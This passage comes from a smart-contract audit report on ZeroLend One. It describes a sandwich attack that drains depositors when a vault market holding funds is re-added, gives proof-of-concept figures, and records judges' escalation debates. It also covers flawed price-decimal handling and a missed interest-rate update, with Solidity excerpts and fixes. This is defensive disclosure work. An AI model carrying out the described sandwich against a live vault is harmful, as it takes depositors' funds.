Logs: Total initial assets: 800 ether User shares: 800 ether User assets: 800 ether Attacker initial deposit: 300 ether Attacker shares received: 1199 ether Attacker assets withdrawn after market readdition: 659 ether Attacker profit: 359 ether After attack, User assets: 440 ether After attack, User loss: 359 ether Total assets after attack: 440 ether

Explanation:

1. Initial State:
    - A user deposits 800 ether into the vault.
    - Total assets and user's shares are both 800 ether, indicating a 1:1 ratio of assets to shares.
    - A market with supplied assets had to be removed causing socialized loss for all users.
2. Attack Preparation:
    - Just before the market with existing funds is re-added, the attacker deposits 300 ether.
    - The attacker receives 1199 shares, which is more than their deposit due to the current asset-to-share ratio.
3. Market Re-addition:
    - The previously removed market with existing funds is re-added to the vault after resolution of issue.
    - This immediately increases the total assets of the vault without minting new shares.
4. Attacker's Withdrawal:
    - The attacker quickly withdraws their 1199 shares.
    - Due to the increased total assets, these shares are now worth 659 ether.
    - The attacker profits 359 ether (659 - 300).
5. Impact on the Original User:
    - The user's 800 shares, which originally represented 800 ether, now only represent 440 ether even though no actual fund is lost as market has recovered.
    - The user has effectively lost 359 ether, which is exactly the amount the attacker gained.

Honour-d-dev

Escalate

The report claims this issue is valid due to the following reasons

> **Isn't it impossible to add a market with existing funds?** A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an issue, but not all funds were withdrawn. Adding a new market that received donations to the vaults position directly via the pool contract.
>
> The contract specifically accounts for these cases by not charging fees on these pre-existing funds, as shown by the comment in the code // Take into account assets of the new market without applying a fee.
>
> **Why is this vulnerability critical?** A: It's critical because:
>
> It directly risks funds belonging to existing users which were lost when a market had to be removed with leftover funds. Even donations loss can be considered as a loss for existing users.

I believe this report is invalid for the following reasons

on adding/removing markets with existing funds

- There is a `reallocate()` function for this exact purpose to transfer all funds from a pool before removal, because removing a pool with existing funds will lead to a loss for the depositors.
- The removal and addition of markets are admin functionalities and we can assume that the admin will follow the right process to prevent losses to users.

on donations

- Market donations fall under the **user mistakes** category, as donated funds are lost any ways. Donations can happen regardless of whether a new market is being added or not and a watcher can take advantage of the increase in totalAssets to extract some value , this does not affect existing users negatively as they also benefit from said donations.

sherlock-admin3

> Escalate
>
> The report claims this issue is valid due to the following reasons
>
> > **Isn't it impossible to add a market with existing funds?** A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an issue, but not all funds were withdrawn. Adding a new market that received donations to the vaults position directly via the pool contract.
> >
> > The contract specifically accounts for these cases by not charging fees on these pre-existing funds, as shown by the comment in the

> > code // Take into account assets of the new market without applying a fee.
> >
> > **Why is this vulnerability critical?** A: It's critical because:
> >
> > It directly risks funds belonging to existing users which were lost when a market had to be removed with leftover funds. Even donations loss can be considered as a loss for existing users.
>
> I believe this report is invalid for the following reasons
>
> **on adding/removing markets with existing funds**
>
> - There is a `reallocate()` function for this exact purpose to transfer all funds from a pool before removal, because removing a pool with existing funds will lead to a loss for the depositors.
> - The removal and addition of markets are admin functionalities and we can assume that the admin will follow the right process to prevent losses to users.
>
> **on donations**
>
> - Market donations fall under the **user mistakes** category, as donated funds are lost any ways. Donations can happen regardless of whether a new market is being added or not and a watcher can take advantage of the increase in totalAssets to extract some value , this does not affect existing users negatively as they also benefit from said donations.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xNirix

Absolutely, vault allocator will try to withdraw from pools via reallocate before removing a pool. However, it is not possible in all scenarios. There might be a number of reasons for withdrawals to not happen or to be incomplete e.g. complete withdrawal amount not available in pool or any configuration changes by pool managers e.g. freezing the reserves. Pool managers cannot be trusted by vault managers according to README.

> There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

The code specifically tries to handle such scenarios further indicating they are completely intentional:

1. The contract includes mechanisms to remove pools with remaining assets. This is evident in the updateWithdrawQueue function:

```
if (pool.supplyShares(asset(), positionId) != 0) {
  if (config[pool].removableAt == 0) revert
↪  CuratedErrorsLib.InvalidMarketRemovalNonZeroSupply(pool);
  if (block.timestamp < config[pool].removableAt) {
    revert CuratedErrorsLib.InvalidMarketRemovalTimelockNotElapsed(pool);
  }
}
```

In this code, after timelock expiry (removableAt) pool with assets will be removed.

2. Furthermore, the contract anticipates potential resolution of pool issues, allowing for the reintegration of previously removed assets. If a pool's problems are resolved in the future, the vault allocator would naturally want to reclaim those assets for the benefit of their vault users. This is why the following code exists to add back the pool's assets to the vault's total assets:

```
pool.forceUpdateReserve(asset());
uint256 supplyAssets = pool.supplyAssets(asset(), positionId);
\_updateLastTotalAssets(lastTotalAssets + supplyAssets);
```

However, this creates a vulnerability: An attacker can exploit this process to steal a majority of these funds, as demonstrated in the provided Proof of Concept (POC).

cvetanovv

I believe the main factor that validates this issue is the lack of trust between vault managers and pool managers:

> There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

When a pool with remaining assets is removed and later reintegrated, its assets can be exploited and stolen through this vulnerability. The key point is that vault and pool actors do not trust each other, which leaves room for such vulnerabilities.

Planning to reject the escalation and leave the issue as is.

0xjuaan

Hi @cvetanovv this is an invalid issue because the protocol works exactly how it's meant to.

When removing a pool, the curator should reallocate the assets of the pool into a different pool before removing it. If this correct order is followed, the issue does not arise.

Now the watson has stated in the comments (not the original report) that there are some cases where pool managers are malicious and freeze reserves so reallocation is not possible. In that case, if the pool is malicious, its irrational for curators to add the same pool back after removing it. So again, the issue won't occur.

Furthermore, if they know the freezing is going to be temporary, then they wouldn't remove the funds from the pool in the first place. If they do so, it's incorrect actions by the vault curator causing harm to vault depositors.

0xNirix

The above comment trying to invalidate the issue is incorrect. In fact, the curator would want to re-add the pool, once pool becomes available again, so as to recover the funds. Moreover, freezing and unfreezing reserves isn't necessarily indicative of malicious behavior; it can be part of normal operational procedures or some requirements (e.g. regulatory) for pool owners.

Honour-d-dev

@0xNirix Freezing reserves does not prevent withdrawals though, you can check the executeWithdraw and validateWithdraw functions, freeing only prevents supply. So claims relying on freezing are invalid in this case.

If a pool is so compromised that it cannot be withdrawn from, then it doesn't makes sense for it to be added again. If it's a temporary compromise then the pool can just be shifted to be bottom of the withdraw queue (there's a functionality for this), instead of removing and loosing users funds. **_normal operational procedures_** (as claimed in the above comment) should not be reason for removing a pool without properly reallocating funds since these are obviously temporary

0xNirix

> If a pool is so compromised that it cannot be withdrawn from, then it doesn't makes sense for it to be added again

My point is that you as a curator still want to add the pool back to recover your funds when (and if) the pool becomes withdraw-able again. You can anyways restrict any new deposit from going to the pool, so you only expect to gain back the funds. Please remember curator does not control pool's manager action and cannot guess whether it is a temporary or permanent change.

Honour-d-dev

> My point is that you as a curator still want to add the pool back to recover your funds when (and if) the pool becomes withdraw-able again.

Pool funds not being withdrawable does not mean it's compromised, and does not require drastic actions (e.g. removal) that risks users funds, lack of liquidity (due to borrowing) can make a pool temporarily un-withdrawable. In this case the pool can be moved to the bottom of the withdraw queue until it has liquidity.

Vault admins are expected to know this and act rationally

0xNirix

I think we are going in a bit of circles here, but please allow me to frame the argument again: It does not matter if the pool is compromised or not, or vault curator would be able to ascertain whether it is a temporary or permanent situation (which they can not always due to lack of control on pool owners actions, and vault curators have a limit on pools they can keep around in the withdraw queue). In any case, including the compromised pool case, if and when the vault owner sees an opportunity to get back the funds by re-adding the pool, they must do the re-addition. They would want to withdraw back their funds and can limit any further deposit.

That is precisely why the code exists in the first place in the addition flow, that explicitly adds back the account assets from the pool. There is even a comment saying no fee should be charged from these assets because you do not want to charge a fee on the entire principal that was lost (fees are only charged on interests). This further indicates an intentional and conscious re-addition of funds, where the vulnerability lies.

```
// Take into account assets of the new market without applying a fee.
 pool.forceUpdateReserve(asset());
 uint256 supplyAssets = pool.supplyAssets(asset(), positionId);
 \_updateLastTotalAssets(lastTotalAssets + supplyAssets);
```

Honour-d-dev

My point is that curators can be trusted to not remove pools with user funds unless there is a security risk involved for the vault itself (i.e. vault can be exploited via pool) , in which case the pool cannot be re-added due to said security risk.

Any other inconvenience can be fixed by reallocating the funds before removal or rearranging the withdraw queue.

The code is safely accounting for funds as donations are always possible

0xNirix

> My point is that curators can be trusted to not remove pools with user funds unless there is a security risk involved for the vault itself (i.e. vault can be exploited via pool) , in which case the pool cannot be re-added due to said security risk.

Absolutely my point as well, the re-addition applies to the compromised pools as well. Even if there was a security risk, that may get possibly resolved in future. Pease note the pools can be upgradeable according to Zerolend docs.

> Any other inconvenience can be fixed by reallocating the funds before removal or rearranging the withdraw queue.

Incorrect, like I mentioned in my previous comment, vault curators have a limit on pools in the withdraw queue and they may not be able to keep waiting by parking pools in withdraw queue for pool owner to take some action.

> The code is safely accounting for funds as donations are always possible

The whole vulnerability is that the code infact fails to safely add funds while re-adding, whether they are donations or past deposits.

Honour-d-dev

> Absolutely my point as well, the re-addition applies to the compromised pools as well. Even if there was a security risk, that may get possibly resolved in future

Can you please provide a valid example of such a ”compromise” that would cause a curator to remove a pool and re-added later. I believe you are yet to mention anything specific, besides freezing reserves, which is invalid.

> Incorrect, like I mentioned in my previous comment, vault curators have a limit on pools in the withdraw queue and they may not be able to keep waiting by parking pools in withdraw queue for pool owner to take some action.

This situation is very unlikely (even acknowledged by you, previously) that at at best only 1 or 2 pools can be experiencing it at any point in time. ”parking pools” is obviously a stretch

0xNirix

I was merely responding to your previous comment

> My point is that curators can be trusted to not remove pools with user funds unless there is a security risk involved for the vault itself (i.e. vault can be exploited via pool) , in which case the pool cannot be re-added due to said security risk.

Even in these cases, you may want to add back the pool when the security risk gets resolved e.g. via upgrade.

> This situation is very unlikely (even acknowledged by you, previously) that at at best only 1 or 2 pools can be experiencing it at any point in time. ”parking pools” is obviously a stretch

I don't see any of my comment saying this is unlikely. Anyways, even if 1 or 2 pools are impacted, they can still cause this issue if the vault is already running close to the withdraw queue limit which is rather small (30).

At this point of time, I think this exchange is not making progress and converging and we are repeating same set of arguments. Will wait for HoJ to step in.

cvetanovv

I agree with @0xNirix points.

The re-addition of a pool, even after encountering issues, is possible. Vault curators don’t have control over pool manager actions, so re-adding a previously removed pool when it becomes withdrawable again is also possible.

When pools are removed and then re-added, this vulnerability emerges due to the way assets are immediately accounted for. This means that there is a real edge case for this attack to happen without the curator making a mistake.

Planning to reject the escalation and leave the issue as is.

0xSpearmint

@cvetanovv This issue is invalid.

The issue requires that the curator removes a pool **WITHOUT** reallocating all the assets out of it. This makes 0 sense to do since the vault is forfeiting all the depositors assets in that pool. Pools with assets should never be removed temporarily, there is no valid reason to do so.

Even if the pool is somehow compromised, the curator should first try to reallocate any funds out of the pool and then set the cap to 0 to prevent further deposits but still allow withdrawals from that pool.

The report describes a scenario where the vault curator makes a mistake that causes fund loss to vault depositors, which is not a valid issue.

0xNirix

All the points in above comment have already been discussed in this thread. Please do not repeat arguments just trying to invalidate the issue.

> Even if the pool is somehow compromised, the curator should first try to reallocate any funds out of the pool and then set the cap to 0 to prevent further deposits but still allow withdrawals from that pool.

Really? As a curator, you would definitely not want to keep a pool which is compromised (and may have any vulnerability including in the withdrawal path) attached to your vault in any way. In fact, you would remove it right away and see if the pool owner can potentially resolve it and then re-add the pool so that you can get back your funds, once it is safe.

Honour-d-dev

The reason I believe this issue is invalid is because under current pool and vault implementation there's no valid **compromise** that would require a pool to be removed without reallocating funds and then re-added later

@0xNirix has not been able to provide a valid situation where such a process is the only solution. The reason for that is obviously because such a situation does not exist and the entire issue is based on a hypothetical unspecified **compromise**

Of course @0xNirix can provide a plausible example if there is one.

0xNirix

This is amusing. First you guys yourselves bring up ”compromise” scenarios that according to you are feasible but does not apply here, trying to invalidate the issue. The ones where you think it may warrant removal of pool with assets but no re-addition or even no removal in the first place, and when I counter that even in such conditions you may have to remove and re-add, you go back and ask where is the scenario?

Let me clarify for one last time what I have already mentioned clearly in my comments earlier. My stand from day one has been that it is perfectly feasible for a curator to remove pools with assets for both non-compromised or compromised scenarios. One such scenario I had mentioned was when the pool may be non-withdrawable for a long time as no repayments are done. Pool owner may further aggravate this situation by freezing assets so no more deposits can come. Curator does not know if repayments will ever come or if pool owner will ever remove freeze to allow more deposits. They may take a rational decision to write off this bad debt for the moment. This is a standard practice that is done by even physical banks. Why? Because you do not want to impact your new depositors when you know with whatever information you have that part of your assets may not be returned. Otherwise you risk lowering their final yield by socializing old losses with new depositors, eventually discouraging new vault depositors. However, in this particular case, vault has a real limitation that will force curator to remove such pools with assets from the withdraw queue even earlier. This because a vault can only keep limited (up to 30 pools) in its withdraw queue, so if a vault is running near its capacity of 30 pools and even one pool has some issues they may be forced to take such call sooner than later. Now, if the pool owner decides to allow deposits again, curator will see a chance to get their funds back and hence would want to re-add the pool. This is just one scenario but all the compromise scenarios that you thought do not apply but are feasible are actually applicable too and there is real risk of vault losing funds because of this vulnerability in many such scenarios overall.

Will wait for HoJ to take a final call.

Honour-d-dev

@0xNirix it is your report that first mentions an **issue** but fails to provide a valid example as we see here

> **Isn't it impossible to add a market with existing funds?** A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an **_issue_**, but not all funds were withdrawn.
>
> My stand from day one has been that it is perfectly feasible for a curator to remove pools with assets for both non-compromised or compromised scenarios

No rational curator would remove a pool for non-compromised scenarios, this is because users who withdraw before the pool is re-added would definitely suffer a loss and waiting for the pool to be re-added is not an option as they don't know when it'll be added or if it ever will be. Pool removal with leftover funds is a **last resort solution** due to this reason and should not be taken lightly

> One such scenario I had mentioned was when the pool may be non-withdrawable for a long time as no repayments are done. Pool owner may further aggravate this situation by freezing assets so no more deposits can come. Curator does not know if repayments will ever come or if pool owner will ever remove freeze to allow more deposits. They may take a rational decision to write off this bad debt for the moment.

This scenario is invalid, if a pool is non-withdrawable due to lack of funds, even if the pool owner freezes the asset repayments will still be possible because freezing does not affect repayments. In this scenario a rational curator will simply reorder the withdraw queue and wait for those repayments instead of removing the market and costing users their funds.

It is very obvious that currently this issue has no possible scenario, and also obvious that it cannot be medium severity

0xNirix

@Honour-d-dev, please read my entire comment. I have clearly explained why it may be necessary and rational for a curator to remove a pool rather than simply reorder it.

@cvetanovv, I apologize for this late request, but upon further consideration, I believe this issue should be upgraded to **High**. The impact of this issue is very similar to issue #233, which was judged high, where a pool owner could maliciously set incorrect interest rates causing withdrawals to revert. Eventually, a curator would reasonably consider such funds lost and remove the pool. They would need to remove such failing pools from their withdrawal queues for the reasons I explained in https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/143#issuecomment-2432814025: to prevent losses to the new depositors and/or due to withdrawal queue limitations. Later, the pool owner could correct the interest rate, and the curator would want to re-add the pool to the vault. However, the pool owner would then execute this attack from a different wallet. The impact would be identical - loss of vault funds that were in the pool, and the pool owner could even claim they have no malicious intent.

Honour-d-dev

> @Honour-d-dev, please read my entire comment. I have clearly explained why it may be necessary and rational for a curator to remove a pool rather than simply reorder it.

I read your comment, I believe the 30 pool limit is not a valid reason either. Reordering to preserve users funds if possible should have more priority over adding new pools. If a pool already has 30 pools in it and one is temporarily non-withdrawable, surely there're 29 other working pools, no?

> a pool owner could maliciously set incorrect interest rates causing withdrawals to revert. Eventually, a curator would reasonably consider such funds lost and remove the pool. They would need to remove such failing pools from their withdrawal queues for the reasons I explained in https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/143#issuecomment-2432814025: to prevent losses to the new depositors and/or due to withdrawal queue limitations. Later, the pool owner could correct the interest rate, and the curator would want to re-add the pool to the vault.

This example is also invalid , a rational curator would never re-add a pool with a malicious pool owner that can set incorrect interest rates, whether they choose to correct the rates or not. The security risks are vey obvious from adding such a pool.

@cvetanovv This issue does not even meet medium severity, i think it's obvious at this point that there is no valid scenario where such a thing is the only **rational** choice, judging by how difficult it is for @0xNirix to provide one.

There are only 2 possible cases here

1. if a pool/pool admin is malicious and cannot be withdrawn from, it should be

> removed and never re-added (it makes no sense to re-add a malicious pool even if it appears to be working correctly)
> 2. If the pool is not compromised but temporarily non-withdrawable it should be reordered instead of removed (because removing might still cost some users their funds an i stated here)

0xNirix

Here we go again in circles!

> I read your comment, I believe the 30 pool limit is not a valid reason either. Reordering to preserve users funds if possible should have more priority over adding new pools. If a pool already has 30 pools in it and one is temporarily non-withdrawable, surely there're 29 other working pools, no?

Please stop replying to only part of the argument. I will just repeat - please re-read the entire comment again to see why curator may rationally decide to remove a pool.

> This example is also invalid , a rational curator would never re-add a pool with a malicious pool owner that can set incorrect interest rates, whether they choose to correct the rates or not. The security risks are vey obvious from adding such a pool.

Probably repeating this for the nth time as well - how does curator know that pool owner is malicious or simply made a mistake? And even if malicious pool owner, why not, if curator can very well ensure that there is no downside (because no new deposit would go to the pool) and there is only upside (can potentially get funds back).

> if a pool/pool admin is malicious and cannot be withdrawn from, it should be removed and never re-added (it makes no sense to re-add a malicious pool even if it appears to be working correctly) If the pool is not compromised but temporarily non-withdrawable it should be reordered instead of removed (because removing might still cost some users their funds an i stated https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/143#issuecomment-2433201858)

I have given examples for both these cases with clear reasons on how a curator might end up removing and then re-adding pool. It should be pretty obvious that this is an High issue, given other similar judgements.

cvetanovv

This issue is not High severity. To be High severity, we should not have any restrictions. Only the fact that the attack is only possible with certain curator actions makes this a Medium/Low severity.

The core of the issue lies in the lack of a clear mechanism to prevent sandwich attacks when adding or re-adding pools with existing funds.

There are a few scenarios where re-adding a previously removed pool—either compromised or non-withdrawable due to temporary liquidity constraints. And the curators can't control pool management actions. Attackers could exploit the updated asset-share ratio post-addition to profit at the expense of existing users.

Given these factors, I agree that this is a valid concern and can be Medium severity.

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- Honour-d-dev: rejected

Issue M-4: `GenericLogic.sol` contract assumes all price feeds has the same decimals but is a wrong assumption that leads to an incorrect health factor math.

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/166

Found by

000000, A2-security, Honour, Obsidian, coffiasd, iamnmt, nfmelendez, silver_eth, stuart_the_minion

Summary

Mixing price feeds decimals when doing the calculation of `totalCollateralInBaseCurrency` and `totalDebtInBaseCurrency` will cause an incorrect `healthFactor` affecting important operations of the protocol such as `liquidation`, `borrow` and `withdraw`. `GenericLogic.sol` contract assumes all price feeds have the same decimals but is a wrong assumption as is demonstrated in the Root cause section.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/GenericLogic.sol#L106-L128

Root Cause

`GenericLogic.sol:69calculateUserAccountData` calculates the `totalCollateralInBaseCurrency` and the `totalDebtInBaseCurrency` doing a sum of all the differents reserve assets as collateral or debt in base currency but the problem is a wrong assumption that all chainlink price feeds has the same decimals. Most USD price feeds has 8 decimals but for example AMPL / USD feed has 18 decimals. So `totalCollateralInBaseCurrency` and the `totalDebtInBaseCurrency` will be incorrect because `calculateUserAccountData` will sum asset prices with different decimals leading to a wrong calculation of the health factor and incorrect function of many protocol operations.

Internal pre-conditions

1. Price feeds for collateral or debt assets in a given position needs to have different decimals.

External pre-conditions

None

Attack Path

Is a wrong assumption proven by example

Impact

1. Liquidation: Mixing Price decimals lead to incorrect calculation of the `healthFactor` that is a result of wrong `totalCollateralInBaseCurrency` and the `totalDebtInBaseCurrency`.
2. Borrow: Wrong `healthFactor` also affects borrowing when doing validations to make sure that the position is not liquiditable.
3. Withdraw: Also uses `healthFactor` via `ValidationLofic::validateHFAndLtv`
4. executeUseReserveAsCollateral: Also uses `healthFactor` via `ValidationLofic::validateHFAndLtv`
5. Any other operation that uses the health factor.

PoC

none

Mitigation

There are 2 possible solution:

1. Some protocols enforce 8 decimals when assigning an oracle to an asset or reject the operation. (easy, simple, secure, not flexible)
2. Use AggregatorV3Interface::decimals to normalize to N decimals the price making sure that the precision loss is on the correct side. (flexible)

Discussion

nevillehuang

As seen here

> Q: Are there any limitations on values set by admins (or other roles) in protocols you integrate with, including restrictions on array lengths? No

There is no limits to admin set chainlink oracles, so it is presumed that they will act accordingly when integrating tokens.

> (External) Admin trust assumptions: When a function is access restricted, only values for specific function variables mentioned in the README can be taken into account when identifying an attack path.
>
> If no values are provided, the (external) admin is trusted to use values that will not cause any issues.

Honour-d-dev

Escalate

this issue is valid!

The above comment is not a valid reason for it to be invalid, pools are permissionless and anyone can create a pool and choose to integrate these tokens with un-conventional price feed decimals and the impact on users can be severe especially if not detected early.

If the argument is that the oracle can be removed or the token can be paused by admin if such an issue occurs, the impact is still severe (loss of funds for users , liquidation etc) and not reversible. Such cases can be easily prevented by the mitigation provided in the report.

sherlock-admin3

> Escalate
>
> this issue is valid!
>
> The above comment is not a valid reason for it to be invalid, pools are permissionless and anyone can create a pool and choose to integrate these tokens with un-conventional price feed decimals and the impact on users can be severe especially if not detected early.
>
> If the argument is that the oracle can be removed or the token can be paused by admin if such an issue occurs, the impact is still severe (loss of funds for users , liquidation etc) and not reversible. Such cases can be easily prevented by the mitigation provided in the report.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

The Lead Judge is right with his comment: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/166#issuecomment-2388428543

In addition, pool managers are expected to act rationally(i.e. are trusted):

> Essentially we expect all permissioned actors to behave rationally.
>
> There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

The only valid variant of this issue is if there was mention of the malicious attack path. Then, I would duplicate it with #234.

Planning to reject the escalation and leave the issue as is.

Honour-d-dev

@cvetanovv

The point here is pool creation is permissionless, so anyone can create a pool (become a pool manager) and add whichever tokens they like to their pool. The possibility of adding an oracle with wrong decimals cannot be attributed to irrational behavior(or being malicious) as there is no guarantee that the pool manager is aware of the fact that price feed decimals are not normalized (see second recommendations #166 and #442) in zerolend.

This can happen even if pool managers behave rationally (with good intentions) and can cause severe and irreversible damage to users before it's corrected. It's better to completely prevent the possibility of such cases as the chances of this happening is pretty high given the permissionless nature of pools.

cvetanovv

@Honour-d-dev

If the pool manager did everything right, then there is no issue here. By default, he is the external admin and, by default, should do everything correctly. If not, it is a user mistake.

@nevillehuang explained it in the first comment.

My decision to reject the escalation remains.

Honour-d-dev

@cvetanovv i appreciate the effort □

Consider this. Alice creates a pool and decides to add the AML token to her pool and she also adds the chainlink AML/USD oracle to this pool.

From every perspective Alice has done everything right. This cannot be grouped as user mistakes because user mistakes only hurt themselves, hence why they are invalid.

In this case Alice is a pool manager and this issue will affect all users of their pool not just Alice.

As I mentioned in previous comments I believe the chances of this happening is very high. And it would be unfair to pool users to call it a user mistake.

samuraii77

@cvetanovv. how would a pool manager do everything right though? If he wants to create a pool for an asset that has a different amount of decimals in Chainlink, then this will always lead to an error. His only way of avoiding this is not creating a pool with such an asset which I don't believe is a fair reason to classify this as invalid.

cvetanovv

@Honour-d-dev @samuraii77 I understand your points.

The protocol will use standard tokens, but some standard tokens may return a different price due to the lack of decimal scaling. This means that the pool manager will not be able to use them, although it is mentioned in the readme that they can be used.

This means no working functionality because they will not be used because the pool manager has to act rationally, and using them will cause a bug - Medium severity.

Reference: https://ethereum.stackexchange.com/questions/92508/do-all-chainlink-feeds-return-prices-with-8-decimals-of-precision, https://ethereum.stackexchange.com/questions/90552/does-chainlink-decimal-change-over-time

I am planning to accept the escalation and make this issue Medium severity.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- Honour-d-dev: accepted

coffiasd

@cvetanovv those issues that dups with this issue are also valid or not ?

cvetanovv

@coffiasd, the duplicates are also valid. Labels are added at the end after the escalations are over.

Issue M-5: After a User withdraws The interest Rate is not updated accordingly leading to the next user using an inflated index during next deposit before the rate is normalized again

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/387

Found by

A2-security, Bigsam, Obsidian, iamnmt

Summary

A bug in Zerolend's withdrawal mechanism causes the interest rate to not be updated when funds are transferred to the treasury during a withdrawal. This failure leads to the next user encountering an inflated interest rate when performing subsequent actions like deposit, withdrawal or borrow before the rate is normalized again. The issue arises because the liquidity in the pool drops due to the funds being transferred to the treasury, but the system fails to update the interest rate to reflect this change.

Root Cause

Examples of update rate before transferring everywhere in the protocol to maintain Rate

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/SupplyLogic.sol#L69-L81

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/SupplyLogic.sol#L125-L146

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol#L88-L99

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol#L139-L158

The same process can be observed in Aave v 3.

1. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/SupplyLogic.sol#L130

2. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/SupplyLogic.sol#L65
3. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/BorrowLogic.sol#L145-L150
4. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/BorrowLogic.sol#L227-L232

Looking at the effect of updating rate

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ReserveLogic.sol#L134-L182

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/periphery/ir/DefaultReserveInterestRateStrategy.sol#L98-L131

This rates are used to get the new index

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ReserveLogic.sol#L225-L227

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ReserveLogic.sol#L235-L237

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

In the current implementation of Zerolend, during a **withdrawal**, the protocol transfers a portion of the funds to the **treasury**. However, it does not update the interest rate before this transfer has being done for all transfers, leading to an **inflated liquidity rate** being used by the next user, particularly for deposits. This is problematic as the next user deposits/withdraws at a rate that is incorrectly high, causing them to receive fewer shares than they should.

In comparison, Aave mints shares to the treasury, which can later withdraw this funds like any other user.

Each withdrawal out of the contract in underlying asset **in Aave** updates the interest rate, ensuring the rates reflect the true liquidity available in the pool.

Zerolend's approach of transferring funds directly upon every user withdrawal fails to adjust the interest rate properly, resulting in a temporary discrepancy that affects subsequent users.

Code Context: In the `executeMintToTreasury` function, the accrued shares for the treasury are transferred, but the interest rates are not updated to account for the change in liquidity.

```
function executeMintToTreasury(
    DataTypes.ReserveSupplies storage totalSupply,
    mapping(address => DataTypes.ReserveData) storage reservesData,
    address treasury,
    address asset
  ) external {
    DataTypes.ReserveData storage reserve = reservesData[asset];

    uint256 accruedToTreasuryShares = reserve.accruedToTreasuryShares;

    if (accruedToTreasuryShares != 0) {
      reserve.accruedToTreasuryShares = 0;
      uint256 normalizedIncome = reserve.getNormalizedIncome();
      uint256 amountToMint = accruedToTreasuryShares.rayMul(normalizedIncome);

@audit>> no interest rate update before fund removal >>
↪   IERC20(asset).safeTransfer(treasury, amountToMint);

      totalSupply.supplyShares -= accruedToTreasuryShares;

      emit PoolEventsLib.MintedToTreasury(asset, amountToMint);
    }
  }
```

As can be seen in this snippet, the funds are transferred to the treasury, but the function does not invoke any interest rate update mechanism. The liquidity in the pool decreases, but the next user's deposit will use an inflated rate due to this oversight.

Interest Rate Update Example (Correct Flow): In other parts of the code, such as during withdrawals, the interest rate is properly updated when liquidity changes:

```

 function executeWithdraw(
    mapping(address => DataTypes.Res

---------------------------------------
reserve.updateInterestRates(
  totalSupplies,
  cache,
  params.asset,
  IPool(params.pool).getReserveFactor(),
  0,  // No liquidity added
  params.amount,  // Liquidity taken during withdrawal
  params.position,
  params.data.interestRateData
);
```

The `updateInterestRates` function correctly calculates the new interest rate based on the changes in liquidity, ensuring the system uses accurate rates for subsequent operations.

Example of Problem: Consider the following scenario:

- A user withdraws a portion of funds, which triggers the transfer of some assets to the treasury.
- The liquidity in the pool drops, but the interest rate is not updated.
- The next user deposits into the pool using the **inflated liquidity rate**, resulting in fewer shares being minted for them.

Since the actual liquidity is lower than the interest rate assumes, the user depositing gets fewer shares than expected.

Impact

- **Incorrect Share Calculation**: Users depositing after a treasury withdrawal will receive fewer shares due to an artificially high liquidity rate than the appropriate one , leading to loss of potential value.

PoC

No response

Mitigation

The mitigation involves ensuring that the **interest rate** is properly updated **before** transferring funds to the treasury. The rate update should account for the liquidity being transferred out, ensuring the new rates reflect the actual available liquidity in the pool.

Suggested Fix: In the `executeMintToTreasury` function, call the `updateInterestRates` function **before** transferring the assets to the treasury. This will ensure that the interest rate reflects the updated liquidity in the pool before the funds are moved.

Modified Code Example:

```
function executeMintToTreasury(
    DataTypes.ReserveSupplies storage totalSupply,
    mapping(address => DataTypes.ReserveData) storage reservesData,
    address treasury,
    address asset
  ) external {
    DataTypes.ReserveData storage reserve = reservesData[asset];

    uint256 accruedToTreasuryShares = reserve.accruedToTreasuryShares;

    if (accruedToTreasuryShares != 0) {
      reserve.accruedToTreasuryShares = 0;
      uint256 normalizedIncome = reserve.getNormalizedIncome();
      uint256 amountToMint = accruedToTreasuryShares.rayMul(normalizedIncome);

++     // Update the interest rates before transferring to the treasury
++      reserve.updateInterestRates(
++        totalSupply,
++       DataTypes.ReserveCache({}), // Supply necessary cache data
++        asset,
++       IPool(asset).getReserveFactor(),
++        0, // No liquidity added
++       amountToMint, // Liquidity taken corresponds to amount sent to treasury
